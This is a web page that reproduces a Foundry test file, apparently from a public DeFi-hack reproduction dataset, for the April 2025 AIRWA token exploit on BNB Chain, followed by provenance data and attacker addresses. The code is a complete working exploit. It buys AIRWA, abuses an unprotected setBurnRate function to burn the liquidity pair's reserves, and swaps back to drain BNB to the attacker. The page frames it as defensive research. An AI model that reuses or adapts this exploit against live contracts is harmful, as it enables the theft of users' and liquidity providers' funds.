Public reproduction file
src/test/2025-04/AIRWA_exp.sol
Public reproduction file for dataset entry AIRWA.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 56.73 BNB8// Attacker : https://bscscan.com/address/0x70f0406e0a50c53304194b2668ec853d664a3d9c9// Attack Contract : https://bscscan.com/address/0x2a011580f1b1533006967bd6dc63af7ae5c8236310// Vulnerable Contract : https://bscscan.com/address/0x3af7da38c9f68df9549ce1980eef4ac6b635223a11// Attack Tx : https://bscscan.com/tx/0x5cf050cba486ec48100d5e5ad716380660e8c984d80f73ba888415bb540851a413// @Info14// Vulnerable Contract Code :16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/190808609277290090919// Hacking God : N/A21address constant AIRWA = 0x3Af7DA38C9F68dF9549Ce1980eEf4AC6B635223A;22address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;23address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;25address constant CAKE_LP = 0xc3551400c032cB0556dee1AD1dC78D1cbC64B7bb;27contract AIRWA_exp is BaseTestWithBalanceLog {28 address attacker = makeAddr("attacker");29 uint256 blocknumToForkFrom = 48_050_724 - 1;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 // fundingToken = BSC_USD;36 vm.label(attacker, "Attacker");37 vm.label(AIRWA, "AIRWA");38 vm.label(wBNB, "WBNB");39 vm.label(BSC_USD, "BSC-USD");40 vm.label(PANCAKE_ROUTER, "PancakeSwap: Router v2");41 vm.label(CAKE_LP, "0xc355_Cake-LP");43 vm.deal(attacker, 1 ether); // Give attacker some BNB44 }46 function testExploit() public {47 emit log_named_decimal_uint("BNB balance before attack", attacker.balance, 18);48 vm.startPrank(attacker);49 AttackContract attackContract = new AttackContract{value: 0.1 ether}();50 attackContract.attack();51 vm.stopPrank();52 emit log_named_decimal_uint("BNB balance after attack", attacker.balance, 18);53 }55 receive() external payable {}56}58contract AttackContract {59 address attacker;61 constructor() payable {62 attacker = msg.sender;63 }65 function attack() public {66 address[] memory path = new address[](3);67 path[0] = address(wBNB);68 path[1] = address(BSC_USD);69 path[2] = address(AIRWA);70 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.1 ether}(71 0, path, address(this), block.timestamp + 1072 );74 uint256 balance = IAIRWA(AIRWA).balanceOf(address(this));75 // console.log("Balance of AIRWA in attack contract:", balance);76 IAIRWA(AIRWA).setBurnRate(980);77 IAIRWA(AIRWA).transfer(CAKE_LP, 0);78 IAIRWA(AIRWA).setBurnRate(0);79 IAIRWA(AIRWA).approve(PANCAKE_ROUTER, type(uint256).max);81 path[0] = address(AIRWA);82 path[1] = address(BSC_USD);83 path[2] = address(wBNB);84 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(85 balance, 0, path, address(this), block.timestamp + 1086 );87 }89 receive() external payable {90 console.log("Received BNB:", msg.value);91 uint256 balance = address(this).balance;92 // console.log("Current balance:", balance);93 if (balance > 0) {94 payable(attacker).transfer(balance); // Send all BNB back to the attacker95 }96 }97}99interface IAIRWA {100 function setBurnRate(uint256 _burnRate) external;101 function transfer(address recipient, uint256 amount) external returns (bool);102 function balanceOf(address account) external view returns (uint256);103 function approve(address spender, uint256 amount) external returns (bool);104}Analysis
Dataset entry
Public Foundry test for “AIRWA” (2025-04-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x70f0406e0a50c53304194b2668ec853d664a3d9c
- Attack Contract
0x2a011580f1b1533006967bd6dc63af7ae5c82363
- Vulnerable Contract
0x3af7da38c9f68df9549ce1980eef4ac6b635223a
- Attack Tx
0x5cf050cba486ec48100d5e5ad716380660e8c984d80f73ba888415bb540851a4
- Twitter: https://x.com/TenArmorAlert/status/1908086092772900909
- Explorer: https://bscscan.com/address/0x70f0406e0a50c53304194b2668ec853d664a3d9c
- Explorer: https://bscscan.com/address/0x2a011580f1b1533006967bd6dc63af7ae5c82363
- Explorer: https://bscscan.com/address/0x3af7da38c9f68df9549ce1980eef4ac6b635223a
File record
- Name
- AIRWA
- Path
- src/test/2025-04/AIRWA_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 525e38f20ad56bca92b84fc0942a0263dc3ea60e
- Language
- Solidity
- Size
- 105 lines
- Date
- 2025-04-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/AIRWA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 525e38f20ad56bca92b84fc0942a0263dc3ea60e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.